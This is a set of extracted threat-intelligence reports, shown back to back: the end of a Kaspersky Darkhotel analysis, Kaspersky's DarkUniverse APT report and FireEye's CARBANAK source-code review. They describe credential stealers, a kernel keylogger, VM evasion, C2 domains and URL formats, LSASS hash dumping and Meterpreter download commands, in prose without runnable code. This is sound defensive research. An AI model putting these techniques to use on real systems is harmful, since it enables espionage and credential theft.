90ed768ab728a0f74a4b957c31f1a213 63 TLP: Green For any inquiries, please contact intelreportskaspersky.com the module works with all firefox versions prior to Mozilla Firefox 12.0.
depend- ing on version of firefox, it can read firefox database directly to dump stored se- crets or utilize one firefox libraries to access the configuration data.
In addition it makes use of the following mozilla firefox libraries depending on firefox version: nss3.dll plc4.dll mozcrt19.dll mozutils.dll mozglue.dll mozsqlite3.dll sqlite3.dll nspr4.dll plds4.dll nssutil3.dll softokn3.dll When stealing secrets from firefox and chrome it uses built in sQLite library code.
the module is linked with SQLite version 3.7.5 release candidate 2, release hash ed759d5a9edb3bba5f48f243df47be29e3fe8cd7 dated as 2011 01 28 17:03:50.
after stealing secrets from local system the malware executes some kind of embedded script.
It is logging all actions to inform the operator what exactly was executed by this variant of the malware.
the result of this execution is appended to the stolen data and uploaded to the cc server.
the module uploads all collected information to one of the following UrLs via post request:     Its the first time we see .pn domain used in malware.
this top level country code domain is quite exotic and is assigned to pitcairn Islands, which is overseas ter- ritory of the United Kingdom in the pacific.
as of 2013 estimated population of pitcairn Islands is only 56 people.
an official .pn domain costs 100/year from the registry, however .eu.pn domains seem to be given away for free.
64 TLP: Green For any inquiries, please contact intelreportskaspersky.com the malware uses fixed User agent string: Mozilla/4.0 (compatible MSIE 8.0 Windows NT 6.1 Trident/4.0 SLCC2 .NETCLR 2.0.50727 .NET CLR 3.5.30729 .NET CLR 3.0.30729 Media Cen- ter PC 6.0) the data is uploaded as a post request binary in the following format: UserIdUniqueMachineIdEncryptionKeyGeneralSysInfo where UserId is hardcoded identifier (i.e.
user2 in current sample) UniquemachineId is a 32 characters long hex string which derived from net- work card mac address encryptionKey is symmetrical encryption key used to encrypt UserId and GeneralsysInfo values.
the malware uses text protocol, which is why potentially binary values of UserId and GeneralsysInfo are ad- ditionally encoded using  Base64 algorithm.
GeneralsysInfo field contains only basic information about the system, i.e.
: Info SysUser : MYCOMPUTERMyUser (0850) C  P  U  : Intel(R) Core(TM) i3 1667U CPU  1600GHz System OS: Microsoft Windows XP (Service Pack 3) Net card : 192.168.0.2 (133773311337) If the server reply contains a keyword minmei it continues sending additional in- formation.
Minmei may be a reference to a popular Japanese anime and manga known as The Super Dimension Fortress Macross.
a quote from Wikipedia: Born in Yokohama chinatown, Japan (though she is of partial chinese descent) as Linn minmei, minmay moved in with her uncle shaochin () and aunt feic- hun () on south ataria Island in hopes of finding the path to fulfill her dream of becoming a star.
trojan.
Win32.Karba.e Filename MD5 Link Time (UTC) Linker acroedit.exe 0fe3daf9e8b69255e592c8af97d24649 2013.10.29 00:21:48 6.0 technical notes the trojan iterates through running processes and looks for security software basing on executable filenames from the list below.
If the process is found it keeps a record of the software name using short aV Identifier string from the fol- lowing table of rules 65 TLP: Green For any inquiries, please contact intelreportskaspersky.com Process Name AV Identifier Company Name, Country ekrn.exe nod eset, czech republic nVcagent.npc nV naver nHn, Vietnam 360tray.exe 36 Qihoo 360, china msseces.exe ms microsoft, Usa uiWinmgr.exe tr trendmicro, Japan avastsvc.exe ast avast, czech republic rsmgrsvr.exe rs rising, china mcagent.exe mc mcafee, Usa avgidsagent.exe aV aVG, czech republic ccsvchst.exe nt symantec, Usa bdagent.exe Bd Bitdefender, romania avp.exe Ks Kaspersky, russia V3Ltray.exe V ahnLab, south Korea aYagent.aye aY estsoft, south Korea the malware uses a trick to evade running on a Vmware.
first, it checks if cur- rent process is running in WoW64 environment.
If yes it does additional port I/o specific to VmWare virtual machine (the Vmware hypervisor port: 0x5658 Vmware hypervisor magic value: 0x564d5868).
another method to detect Vm en- vironment is to check local network adapters Ip address.
If it belongs to subnet 192.168.100.
then the malware believes its running in a Vm.
If Vm is detected the process instantly terminates.
next the malware submits collected information to the cc server using Http Get request and the following UrL format: http://c2domaIn/bin/read_i.php 66 TLP: Green For any inquiries, please contact intelreportskaspersky.com ?
a1stepIda2HostIda3sYsInfoa4 aVsoftId, where c2domaIn is one of the following cc domains: micronaoko.jumpingcrab.com microchsse.strangled.net microbrownys.strangled.net microplants.strangled.net microlilics.crabdance.com stepId is special text string indicating stage of malware operation.
this string varies depending on the local system language and may be one of the following: step2-down-k for codepage 0412 (Korean) step2-down-j for codepage 0411 (Japanese) step2-down-u for codepage 0409 (english,Us) step2-down-r for codepage 0419 (russian) step2-down-c for codepage 0804 (chinese) step2-down-b for codepage 0409 (english,Us) step2-down for other codepages HostId is a special value generated from local network card mac address sYsInfo is a string with general system information (please see description above) 67 TLP: Green For any inquiries, please contact intelreportskaspersky.com aVsoftId is a string that contains indexes of aV software names in internal table of aV Identifiers (please see the table above).
selective Infector technical notes Igfxext.exe can download a file and drop it to appdata\microsoft\dis- play\ctfmon.exe (md5 e8bfb82b0dd5cef46116d61f62c25060).
after execution, the downloaded file drops SMAGENT.EXE (md5 0306f9ae- 7786570139f78e78bc940597) to appdata\mIcrosoft\dIspLaY and ex- ecutes it.
this component is a virus, and is used to selectively infiltrate into other computers via UsB or network shares.
trojan-dropper  Injector (infected legitimate files) technical notes a large number of files are detected by Kaspersky Lab scanners as Virus.
Win32.
pioneer.dx.
these files are all legitimate files that have been infected by another darkhotel component.
all of these infected files drop a 63kb self injecting compo- nent.
Filename MD5 Link Time (UTC) Linker igfxext.exe fcd2458376398b0be09eaa34f4f4d091 2012:07:27 17:10:30 6.0 this malware is 63kb in size.
It is bound to a variety of other software packages that vary in name, but the host package is consistently detected as Virus.
Win32.
pioneer.dx.
the igfxext.exe component is dropped to disk and run.
It spawns an- other suspended process with its own igfxext.exe image, but decrypts a smaller 32kb executable (cf1319d94f33380622ba000b7d8ad6e9,trojan downloader.
Win32.agent.xwge) from its .data section in memory with a simple xor 0xbb.
the running process overwrites the igfxext.exe image in the suspended process with this smaller chunk of code.
It then resumes the thread in the new process.
this smaller code section maintains similar functionality to the worm compo- nent: BasIcapI window creation and update VmWare detection/red pill aV check 68 TLP: Green For any inquiries, please contact intelreportskaspersky.com dmaup3.exe checks proto.dat check system information collection, encryption with ab911001f78ad31552e47205ecc46466 key and transfer to c2 Host package files detected as Virus.
Win32.pioneer.dx are infected legitimate files, that do not have any self propagation routines.
enhanced Keyloggers and development technical notes It is signed with the familiar    digital certificate.
77669d11c3248a6553d3c15cd1d8a60e   csmrs.exe, 478.8kb, compliedon:2010 11 11 08:46:47 signed by    certificate.
this sample is started by code running within svchost.exe on WinXp sp3.
It drops a keylogger.
the debug path inside: d:\KerKey\KerKey()\KerKey\release\KerKey.pdb note  means General in Korean the dropper above maintains, drops and installs this kernel mode keylogger: md5: 86b18e99072ba72d5d36bce9a00fc052 filename: ndiskpro.sys size: 295kb compiledon:2009 11 24 11:56:22 Likely, it was developed as a part of a mid to late 2009 project: e:\project\2009\x\total_source\32bit\ndiskpro\src\ioman.c Keylogger code this driver package is built to look like a legitimate low level microsoft system device.
It is installed as a system kernel driver ndiskpro service, described as a microcode Update device.
It is somewhat surprising that there is no rootkit functionality hiding this service: 69 TLP: Green For any inquiries, please contact intelreportskaspersky.com When loaded, the ndIsKpro.sYs driver hooks both Int 0x01 and Int 0xff, and retrieves keystroke data directly from port 0x60, the motherboard keyboard con- troller itself.
Here we see the local port variables assigned values and here, the ports are directly being read with read_port_UcHar(0x64) and then read_port_UcHar(0x60): It buffers, then communicates the data to the running user mode component.
this component then encrypts and writes the retrieved values ondisk to a ran- 70 TLP: Green For any inquiries, please contact intelreportskaspersky.com domly named .tmp, file like ffffz07131101.tmp.
this file is located in the same directory as the original dropper, which maintains persistence across reboots with a simple addition to the HKcU run key.
Here is debug output demonstrating this components data retrieval when the letter d is repeatedly pressed on the keyboard.
Keyscan make and break codes are 0x20 and 0xa0 and for the key press and key release for the d key.
the 0x1d value from port 0x64 that you see below is basically an indication that the output buffer is full and the keyboard is locked, so it is safe for the driver to access the key value in port 0x60: 0x60 port access, data  0x20 0x64 port access, data  0x1d 0x64 port access, data  0x1d 0x60 port access, data  0xa0 0x64 port access, data  0x1d 0x64 port access, data  0x1d 0x60 port access, data  0x20 0x64 port access, data  0x1d 0x64 port access, data  0x1d 0x60 port access, data  0xa0 0x64 port access, data  0x1d 0x64 port access, data  0x1d 71 TLP: Green For any inquiries, please contact intelreportskaspersky.com 0x60 port access, data  0x20 0x64 port access, data  0x1d 0x64 port access, data  0x1d 0x60 port access, data  0xa0 0x64 port access, data  0x1d 0x64 port access, data  0x1d 0x60 port access, data  0x20 [output deviceobject  0x0, bIsHidKbd  0x0   dr0  0x60, dr1  0x64, dr2  0xf7190410, dr3  0x0, dr6  0xffff2ff0, dr7  0x22073f current Isr, Highaddress  0xf718, Lowaddress  0xf330, flag  0xee oldcr4 0x6f9 olddr7  0x22073f   these debug messages and code style are duplicates of what chpie posted in the past.
this keylogger module encrypts and stores gathered data in a log file, as men- tioned previously.
Its encryption algorithm is similar to rc4.
Interesting part is that the module randomly generates the key and stores it in an unexpected place: in the middle of the log file name.
Hence, the numeric part of the filename is used as a seed for the pseudorandom number generator.
rand function is statically linked to insure same results on different computers.
Here is the commented rc4 encryption code: 72 TLP: Green For any inquiries, please contact intelreportskaspersky.com 73 TLP: Green For any inquiries, please contact intelreportskaspersky.com appendix e. parallel and previous research Getting Left of Boom: How threatconnect enables proactive cybersecurity, threatconnect february 2014 http://www.threatconnect.com/news/getting-leftof-boom-threatconnect-en- ables-proactive-cybersecurity/ nevermind nenims hidden agenda   we still caught it, microsoft mmpc, april 2013 http://blogs.technet.com/b/mmpc/archive/2013/04/14/nevermind-nenim-s- hidden-agenda-we-still-caught-it.aspx rsa 512 certificates abused in the wild, fox It november 2011 http://blog.fox-it.com/2011/11/21/rsa-512-certificates-abused-in-the-wild/ dec 21 cVe 2009 0556 (corrected cVe) christmas messages.pps with stolen cert from syniverse from  nicholas.bennett53hotmail.com,  contagio, december 2010 http://contagiodump.blogspot.ro/2010/12/dec-21-cve-2010-2572-christmas.html cVe 2010 2883 adobe 0 day david Leadbetters one point Lesson from 193.106.85.61 thomasbennett34yahoo.com,  contagio, sept 2010 http://contagiodump.blogspot.ro/2010/12/dec-21-cve-2010-2572-christmas.
html apr 26 cVe 2010 0188 pdf north Korea policy piece from (fake)  walterkeats yahoo.com, contagio, april 2010 http://contagiodump.blogspot.com/2010/09/cve-david-leadbetters-one-point- lesson.html mar 27 cVe 2010 0806 Ie 0 day dozens missing after ship sinks near north Korea from kevin.bohn33hotmail.com, contagio march 2010 http://contagiodump.blogspot.com/2010/04/apr-28-cve-2010-0188-pdf- north-korea.html threat outbreak alert: fake north Korean sunken ship report e mail messages on march 27, 2010, cisco http://tools.cisco.com/security/center/viewthreatoutbreakalert.x?alert Id20148 security advisory for adobe reader and acrobat, adobe, cve 2010 2883 http://www.adobe.com/support/security/advisories/apsa10-02.
html?pId6157500 http://www.threatconnect.com/news/getting-leftof-boom-threatconnect-enables-proactive-cybersecurity/ http://www.threatconnect.com/news/getting-leftof-boom-threatconnect-enables-proactive-cybersecurity/ http://blogs.technet.com/b/mmpc/archive/2013/04/14/nevermind-nenim-s-hidden-agenda-we-still-caught-it.aspx http://blogs.technet.com/b/mmpc/archive/2013/04/14/nevermind-nenim-s-hidden-agenda-we-still-caught-it.aspx http://blog.fox-it.com/2011/11/21/rsa-512-certificates-abused-in-the-wild/ http://contagiodump.blogspot.ro/2010/12/dec-21-cve-2010-2572-christmas.html http://contagiodump.blogspot.ro/2010/12/dec21cve20102572christmas.html http://contagiodump.blogspot.ro/2010/12/dec-21-cve-2010-2572-christmas.html http://contagiodump.blogspot.ro/2010/12/dec-21-cve-2010-2572-christmas.html http://contagiodump.blogspot.com/2010/09/cve-david-leadbetters-one-point-lesson.html http://contagiodump.blogspot.com/2010/09/cve-david-leadbetters-one-point-lesson.html http://contagiodump.blogspot.com/2010/04/apr-28-cve-2010-0188-pdf-north-korea.html http://contagiodump.blogspot.com/2010/04/apr-28-cve-2010-0188-pdf-north-korea.html http://tools.cisco.com/security/center/viewThreatOutbreakAlert.x?alertId20148 http://tools.cisco.com/security/center/viewThreatOutbreakAlert.x?alertId20148 http://www.adobe.com/support/security/advisories/apsa10-02.html?PID6157500 http://www.adobe.com/support/security/advisories/apsa10-02.html?PID6157500 Kaspersky Lab HQ 39a/3 Leningradskoe shosse moscow, 125212 russian federation more contact details tel: 7-495-797-8700 fax:  7-495-797-8709 e-mail: infokaspersky.com Website: www.kaspersky.com
By GReAT , AMR on November 5, 2019.
10:00 am DarkUniverse  the mysterious APT framework 27 securelist.com/darkuniverse-the-mysterious-apt-framework-27/94897 In April 2017, ShadowBrokers published their well-known Lost in Translation leak, which, among other things, contained an interesting script that checked for traces of other APTs in the compromised system.
In 2018, we found an APT described as the 27  function of this script, which we call DarkUniverse.
This APT was active for at least eight years, from 2009 until 2017.
We assess with medium confidence that DarkUniverse is a part of the ItaDuke set of activities due to unique code overlaps.
ItaDuke is an actor known since 2013.
It used PDF exploits for dropping malware and Twitter accounts to store C2 server urls.
Technical details Infection vector Spear phishing was used to spread the malware.
A letter was prepared separately for each victim to grab their attention and prompt them to open an attached malicious Microsoft Office document.
Each malware sample was compiled immediately before being sent and included the latest available version of the malware executable.
Since the framework evolved from 2009 to 2017, the last releases are totally different from the first ones, so the current report details only the latest available version of the malware used until 2017.
The executable file embedded in the documents extracts two malicious files from itself, updater.mod and glue30.dll, and saves them in the working directory of the malware USERPROFILE\AppData\Roaming\Microsoft\Windows\Reorder.
After that, it copies the legitimate rundll32.exe executable into the same directory and uses it to run the updater.mod library.
The updater.mod module th 1/7 https://securelist.com/darkuniverse-the-mysterious-apt-framework-27/94897/ https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/11/04102626/the-darkuniverse-mysterious-apt-1.png https://securelist.com/new-uyghur-and-tibetan-themed-attacks-using-pdf-exploits/35465/ https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/11/04102625/the-darkuniverse-mysterious-apt-3.png This module is implemented as a dynamic-link library with only one exported function, called callme16.
This module is responsible for such tasks as providing communication with the C2 server, providing the malware integrity and persistence mechanism and managing other malware modules.
The persistence mechanism is provided by a link file, which is placed by updater.mod into the startup folder, ensuring malware execution after a reboot.
If the link file becomes corrupted, the updater.mod module restores it.
Communication with C2 In this campaign the C2 servers were mostly based on cloud storage at mydrive.ch.
For every victim, the operators created a new account there and uploaded additional malware modules and a configuration file with commands to execute it.
Once executed, the updater.mod module connected to the C2 and performed the following actions: downloaded the command file to the working directory uploaded files collected and prepared by additional malicious modules (if any) to the C2.
These files were located in a directory called queue or ntfsrecover in the working directory.
Files in this directory could have one of two extensions: .d or .upd depending on whether they had already been uploaded to the server or not.
downloaded additional malware modules: dfrgntfs5.sqt  a module for executing commands from the C2 msvcrt58.sqt  a module for stealing mail credentials and emails zl4vq.sqt  legitimate zlib library used by dfrgntfs5 victim_ID.upe  optional plug-in for dfrgntfs5.
Unfortunately, we were unable to obtain this file.
All malware modules are encrypted with a custom algorithm: The credentials for the C2 account are stored in the configuration that is placed in the registry, but the updater.mod module also stores a copy as an encrypted string in the executable file.
Also, the configuration specifies how often updater.mod polls the C2, supporting both an active mode and a partly active mode.
2/7 Malware configuration in the registry The malware configuration is stored in the registry in the SOFTWARE\AppDataLow\GUI\LegacyP entry.
Different values are detailed in the following table: Value name Description C1 C2 domain.
C2 C2 domain path.
C3 C2 credential username.
C4 C2 credential password.
install 1 if malware is installed.
TL1 DESACTIVAR  HABILITAR  specifies whether msvcrt58 and glue libraries are active.
TL2, TL3 If TL1 is not NULL, it specifies time bounds when TL1 option is applied.
kl If 1, updater.mod should download msvcrt58.sqt from C2 again.
re If 1, updater.mod should download dfrgntfs5.sqt from C2 again.
de If not 0, framework should uninstall itself.
cafe REDBULL  SLOWCOW specifies how often updater.mod polls C2.
path Path to the folder from which files are being sent to C2.
Modules glue30.dll and msvcrt58.sqt The glue30.dll malware module provides keylogging functionality.
The updater.mod module uses the Win API function SetWindowsHookExW to install hooks for the keyboard and to inject glue30.dll into processes that get keyboard input.
After that, glue30.dll loads and begins intercepting input in the context of each hooked process.
The msvcrt58.sqt module intercepts unencrypted POP3 traffic to collect email conversations and victims credentials.
This module looks for traffic from the following processes: outlook.exe 3/7 winmail.exe msimn.exe nlnotes.exe eudora.exe thunderbird.exe thunde1.exe msmsgs.exe msnmsgr.exe.
The malware parses intercepted POP3 traffic and sends the result to the main module (updater.mod) for uploading to the C2.
This is done by hooking the following network- related Win API functions: ws2_32.connect ws2_32.send ws2_32.recv ws2_32.WSARecv ws2_32.closesocket.
The dfrgntfs5.sqt module This is the most functional component of the DarkUniverse framework.
It processes an impressive list of commands from the C2, which are listed in the following table.
Command Description VER Sends malware version to server.
DESINSTALAR Uninstalls itself.
PANTALLA Takes screenshot of the full screen and saves it to the \queue folder.
CAN_TCP, CAN_HTTP, CAN_HTTPS Injects a shellcode into IE that establishes a direct connection with the C2, downloads additional code, sends info about the download results to the C2 and executes the downloaded code.
MET_TCP, MET_HTTPS Also injects a shellcode into IE.
The only difference with the previous command set is that in this case the shellcode doesnt send any additional info to the C2  it only establishes the connection, downloads additional code and executes it.
4/7 CAN_HTTP_LSASS Injects the same shellcode as in the case of CAN_HTTP into the LSASS.exe process.
SCAN/STOPSCAN Starts/stops network scan.
Collects lots of different info about the local network.
CREDSCAN Brute-forces IP range with specified username and password.
ACTUALIZAR Updates dfrgntfs5.sqt.
ACTUALIZARK Updates msvcrt58.sqt.
SYSINFO Collects full system info.
REDBULL Sets cafe flag to 1  active.
SLOWCOW Sets cafe flag to 0  slow mode.
X Runs specified process and logs its output, then prepares this output log for uploading to the C2.
T Obtains list of files from a specific directory.
TAUTH Obtains list of files of remote server if specified credentials are valid.
G Sends a file to the C2.
GAUTH Downloads a particular file from a shared resource if specified credentials are valid.
SPLIT Splits file into 400 KB parts and uploads them to the C2.
FLUSH Sends file with the data collected by all components that day and deletes it.
C1  C4 Sets the C2 in its configuration in the registry (C1-C4).
TL1  TL3 Sets the active state in its configuration in the registry (T1-T3).
ONSTART Sets process to be started every malware startup.
CLEARONSTART Undoes previous ONSTART command.
5/7 ARP Runs unavailable ARP module (uncparse.dll  unavailable).
This module stores data in a file internally named arpSniff.pcap.
AUTO Automatically looks for updates of predefined files.
MANUAL Files in the specified directory are searched using the  .upd pattern, all found files are deleted.
REGDUMP Collects information from the registry.
PWDDUMP Collects and decrypts credentials from Outlook Express, Outlook, Internet Explorer, Windows Mail and Windows Live Mail, Windows Live Messenger, and also Internet Cache LOGHASH Injects process into lsass.exe and starts collecting password hashes in the file checksums.bk.
SENDLOGHASH Sends collected lsass.exe process password hashes to the C2.
PROXYINFO Checks if credentials for proxy are valid.
DHCP Sets DHCP settings for local machine.
DNS Sets DNS settings for local machine.
FAKESSL Provides basic MITM functionality.
Victimology We recorded around 20 victims geolocated in Syria, Iran, Afghanistan, Tanzania, Ethiopia, Sudan, Russia, Belarus and the United Arab Emirates.
The victims included both civilian and military organizations.
We believe the number of victims during the main period of activity between 2009 and 2017 was much greater.
Conclusions DarkUniverse is an interesting example of a full cyber-espionage framework used for at least eight years.
The malware contains all the necessary modules for collecting all kinds of information about the user and the infected system and appears to be fully developed from scratch.
Due to unique code overlaps, we assume with medium confidence that DarkUniverses creators were connected with the ItaDuke set of activities.
The attackers were resourceful and kept updating their malware during the full lifecycle of their operations, so the observed samples from 2017 are totally different from the initial samples 6/7 from 2009.
The suspension of its operations may be related to the publishing of the Lost in Translation leak, or the attackers may simply have decided to switch to more modern approaches and start using more widely available artefacts for their operations.
Appendix I  Indicators of Compromise MD5 Hashes 1addee050504ba999eb9f9b1ee5b9f04 4b71ec0b2d23204e560481f138833371 4e24b26d76a37e493bb35b1a8c8be0f6 405ef35506dc864301fada6f5f1d0711 764a4582a02cc54eb1d5460d723ae3a5 c2edda7e766553a04b87f2816a83f563 71d36436fe26fe570b876ad3441ea73c A full set of IOCs, including YARA rules, is available to customers of the Kaspersky Intelligence Reporting service.
For more information, contact intelreportskaspersky.com 7/7 mailto:intelreportskaspersky.com DarkUniverse  the mysterious APT framework 27 Technical details Infection vector The updater.mod module Communication with C2 Malware configuration in the registry Modules glue30.dll and msvcrt58.sqt The dfrgntfs5.sqt module Victimology Conclusions Appendix I  Indicators of Compromise MD5 Hashes
CARBANAK Week Part Three: Behind the CARBANAK Backdoor fireeye.com/blog/threat-research/2019/04/carbanak-week-part-three-behind-the-backdoor.html We covered a lot of ground in Part One and Part Two of our CARBANAK Week blog series.
Now lets take a look back at some of our previous analysis and see how it holds up.
In June 2017, we published a blog post sharing novel information about the CARBANAK backdoor, including technical details, intel analysis, and some interesting deductions about its operations we formed from the results of automating analysis of hundreds of CARBANAK samples.
Some of these deductions were claims about the toolset and build practices for CARBANAK.
Now that we have a snapshot of the source code and toolset, we also have a unique opportunity to revisit these deductions and shine a new light on them.
Was There a Build Tool?
Lets first take a look at our deduction about a build tool for CARBANAK: A build tool is likely being used by these attackers that allows the operator to configure details such as C2 addresses, C2 encryption keys, and a campaign code.
This build tool encrypts the binarys strings with a fresh key for each build.
We came to this deduction from the following evidence: Most of CARBANAKs strings are encrypted in order to make analysis more difficult.
We have observed that the key and the cipher texts for all the encrypted strings are changed for each sample that we have encountered, even amongst samples with the same compile time.
The RC2 1/15 https://www.fireeye.com/blog/threat-research/2019/04/carbanak-week-part-three-behind-the-backdoor.html https://www.fireeye.com/blog/threat-research/2019/04/carbanak-week-part-one-a-rare-occurrence.html https://www.fireeye.com/blog/threat-research/2019/04/carbanak-week-part-two-continuing-source-code-analysis.html https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html key used for the HTTP protocol has also been observed to change among samples with the same compile time.
These observations paired with the use of campaign codes that must be configured denote the likely existence of a build tool.
Figure 1 shows three keys used to decode the strings in CARBANAK, each pulled from a different CARBANAK sample.
Figure 1: Decryption keys for strings in CARBANAK are unique for each build It turns out we were spot-on with this deduction.
A build tool was discovered in the CARBANAK source dump, pictured with English translations in Figure 2.
2/15 Figure 2: CARBANAK build tool With this build tool, you specify a set of configuration options along with a template CARBANAK binary, and it bakes the configuration data into the binary to produce the final build for distribution.
The Prefix text field allows the operator to specify a campaign code.
The Admin host text fields are for specifying C2 addresses, and the Admin password text field is the secret used to derive the RC2 key for encrypting communication over CARBANAKs pseudo-HTTP protocol.
This covers part of our deduction: we now know for a fact that a build tool exists and is used to configure the campaign code and RC2 key for the build, amongst other items.
But what about the encoded strings?
Since this would be something that happens seamlessly behind the scenes, it makes sense that no evidence of it would be found in the GUI of the build tool.
To learn more, we had to go to the source code for both the backdoor and the build tool.
Figure 3 shows a preprocessor identifier named ON_CODE_STRING defined in the CARBANAK backdoor source code that when enabled, defines macros that wrap all strings the programmer wishes to encode in the binary.
These functions sandwich the strings to be encoded with the strings BS and ES.
Figure 4 shows a small snippet of code from the header file of the build tool source code defining BEG_ENCODE_STRING as BS and END_ENCODE_STRING as ES.
The build tool searches the template binary for these BS and ES markers, extracts the strings between them, encodes them with a randomly generated key, and replaces the strings in the binary with the encoded strings.
We came 3/15 https://en.wikipedia.org/wiki/C_preprocessor across an executable named bot.dll that happened to be one of the template binaries to be used by the build tool.
Running strings on this binary revealed that most meaningful strings that were specific to the workings of the CARBANAK backdoor were, in fact, sandwiched between BS and ES, as shown in Figure 5.
Figure 3: ON_CODE_STRING parameter enables easy string wrapper macros to prepare strings for encoding by build tool 4/15 Figure 4: builder.h macros for encoded string markers Figure 5: Encoded string markers in template CARBANAK binary 5/15 Operators Access To Source Code Lets look at two more related deductions from our blog post: Based upon the information we have observed, we believe that at least some of the operators of CARBANAK either have access to the source code directly with knowledge on how to modify it or have a close relationship to the developer(s).
Some of the operators may be compiling their own builds of the backdoor independently.
The first deduction was based on the following evidence: Despite the likelihood of a build tool, we have found 57 unique compile times in our sample set, with some of the compile times being quite close in proximity.
For example, on May 20, 2014, two builds were compiled approximately four hours apart and were configured to use the same C2 servers.
Again, on July 30, 2015, two builds were compiled approximately 12 hours apart.
To investigate further, we performed a diff of two CARBANAK samples with very close compile times to see what, if anything, was changed in the code.
Figure 6 shows one such difference.
Figure 6: Minor differences between two closely compiled CARBANAK samples 6/15 The POSLogMonitorThread function is only executed in Sample A, while the blizkoThread function is only executed in Sample B (Blizko is a Russian funds transfer service, similar to PayPal).
The POSLogMonitorThread function monitors for changes made to log files for specific point of sale software and sends parsed data to the C2 server.
The blizkoThread function determines whether the user of the computer is a Blizko customer by searching for specific values in the registry.
With knowledge of these slight differences, we searched the source code and discovered once again that preprocessor parameters were put to use.
Figure 7 shows how this function will change depending on which of three compile-time parameters are enabled.
Figure 7: Preprocessor parameters determine which functionality will be included in a template binary This is not definitive proof that operators had access to the source code, but it certainly makes it much more plausible.
The operators would not need to have any programming knowledge in order to fine tune their builds to meet their needs for specific targets, just simple guidance on how to add and remove preprocessor parameters in Visual Studio.
Evidence for the second deduction was found by looking at the binary C2 protocol implementation and how it has evolved over time.
From our previous blog post: This protocol has undergone several changes over the years, each version building upon the previous version in some way.
These changes were likely introduced to render existing network signatures ineffective and to make signature creation more difficult.
7/15 Five versions of the binary C2 protocol were discovered amongst our sample set, as shown in Figure 8.
This figure shows the first noted compile time that each protocol version was found amongst our sample set.
Each new version improved the security and complexity of the protocol.
Figure 8: Binary C2 protocol evolution shown through binary compilation times If the CARBANAK project was centrally located and only the template binaries were delivered to the operators, it would be expected that sample compile times should fall in line with the evolution of the binary protocol.
Except for one sample that implements what we call version 3 of the protocol, this is how our timeline looks.
A probable explanation for the date not lining up for version 3 is that our sample set was not wide enough to include the first sample of this version.
This is not the only case we found of an outdated protocol being implemented in a sample Figure 9 shows another example of this.
8/15 Figure 9: CARBANAK sample using outdated version of binary protocol In this example, a CARBANAK sample found in the wild was using protocol version 4 when a newer version had already been available for at least two months.
This would not be likely to occur if the source code were kept in a single, central location.
The rapid-fire fine tuning of template binaries using preprocessor parameters, combined with several samples of CARBANAK in the wild implementing outdated versions of the protocol indicate that the CARBANAK project is distributed to operators and not kept centrally.
Names of Previously Unidentified Commands The source code revealed the names of commands whose names were previously unidentified.
In fact, it also revealed commands that were altogether absent from the samples we previously blogged about because the functionality was disabled.
Table 1 shows the commands whose names were newly discovered in the CARBANAK source code, along with a summary of our analysis from the blog post.
Hash Prior FireEye Analysis Name 0x749D968 (absent) msgbox 9/15 0x6FD593 (absent) ifobs 0xB22A5A7 Add/update klgconfig updklgcfg 0x4ACAFC3 Upload files to the C2 server findfiles 0xB0603B4 Download and execute shellcode tinymet Table 1: Command hashes previously not identified by name, along with description from prior FireEye analysis The msgbox command was commented out altogether in the CARBANAK source code, and is strictly for debugging, so it never appeared in public analyses.
Likewise, the ifobs command did not appear in the samples we analyzed and publicly documented, but likely for a different reason.
The source code in Figure 10 shows the table of commands that CARBANAK understands, and the ifobs command (0x6FD593) is surrounded by an ifdef, preventing the ifobs code from being compiled into the backdoor unless the ON_IFOBS preprocessor parameter is enabled.
10/15 Figure 10: Table of commands from CARBANAK tasking code One of the more interesting commands, however, is tinymet, because it illustrates how source code can be both helpful and misleading.
The tinymet Command and Associated Payload 11/15 At the time of our initial CARBANAK analysis, we indicated that command 0xB0603B4 (whose name was unknown at the time) could execute shellcode.
The source code reveals that the command (whose actual name is tinymet) was intended to execute a very specific piece of shellcode.
Figure 12 shows an abbreviated listing of the code for handling the tinymet command, with line numbers in yellow and selected lines hidden (in gray) to show the code in a more compact format.
Figure 11: Abbreviated tinymet code listing The comment starting on line 1672 indicates: 12/15 tinymet command Command format: tinymet ip:port  plugin_name [plugin_name] Retrieve meterpreter from specified address and launch in memory On line 1710, the tinymet command handler uses the single-byte XOR key 0x50 to decode the shellcode.
Of note, on line 1734 the command handler allocates five extra bytes and line 1739 hard-codes a five-byte mov instruction into that space.
It populates the 32-bit immediate operand of the mov instruction with the socket handle number for the server connection that it retrieved the shellcode from.
The implied destination operand for this mov instruction is the edi register.
Our analysis of the tinymet command ended here, until the binary file named met.plug was discovered.
The hex dump in Figure 12 shows the end of this file.
Figure 12: Hex dump of met.plug 13/15 The end of the file is misaligned by five missing bytes, corresponding to the dynamically assembled mov edi preamble in the tasking source code.
However, the single-byte XOR key 0x50 that was found in the source code did not succeed in decoding this file.
After some confusion and further analysis, it was realized that the first 27 bytes of this file are a shellcode decoder that looked very similar to call4_dword_xor.
Figure 13 shows the shellcode decoder and the beginning of the encoded metsrv.dll.
The XOR key the shellcode uses is 0xEF47A2D0 which fits with how the five-byte mov edi instruction, decoder, and adjacent metsrv.dll will be laid out in memory.
Figure 13: Shellcode decoder Decoding yielded a copy of metsrv.dll starting at offset 0x1b.
When shellcode execution exits the decoder loop, it executes Metasploits executable DOS header.
Ironically, possessing source code biased our binary analysis in the wrong direction, suggesting a single-byte XOR key when really there was a 27-byte decoder preamble using a four-byte XOR key.
Furthermore, the name of the command being tinymet suggested that the TinyMet Meterpreter stager was involved.
This may have been the case at one point, but the source code comments and binary files suggest that the developers and operators have moved on to simply downloading Meterpreter directly without changing the name of the command.
Conclusion Having access to the source code and toolset for CARBANAK provided us with a unique opportunity to revisit our previous analysis.
We were able to fill in some missing analysis and context, validate our deductions in some cases, and provide further evidence in other 14/15 https://github.com/zhiwenuil/msf3/blob/941b97a0bc2cc6197ce069c4918d81b4df6e63cc/modules/encoders/x86/call4_dword_xor.rb https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/payload/windows/reflectivedllinject.rbL43 https://github.com/SherifEldeeb/TinyMet/ cases, strengthening our confidence in them but not completely proving them true.
This exercise proves that even without access to the source code, with a large enough sample set and enough analysis, accurate deductions can be reached that go beyond the source code.
It also illustrates, such as in the case of the tinymet command, that sometimes, without the proper context, you simply cannot see the full and clear purpose of a given piece of code.
But some source code is also inconsistent with the accompanying binaries.
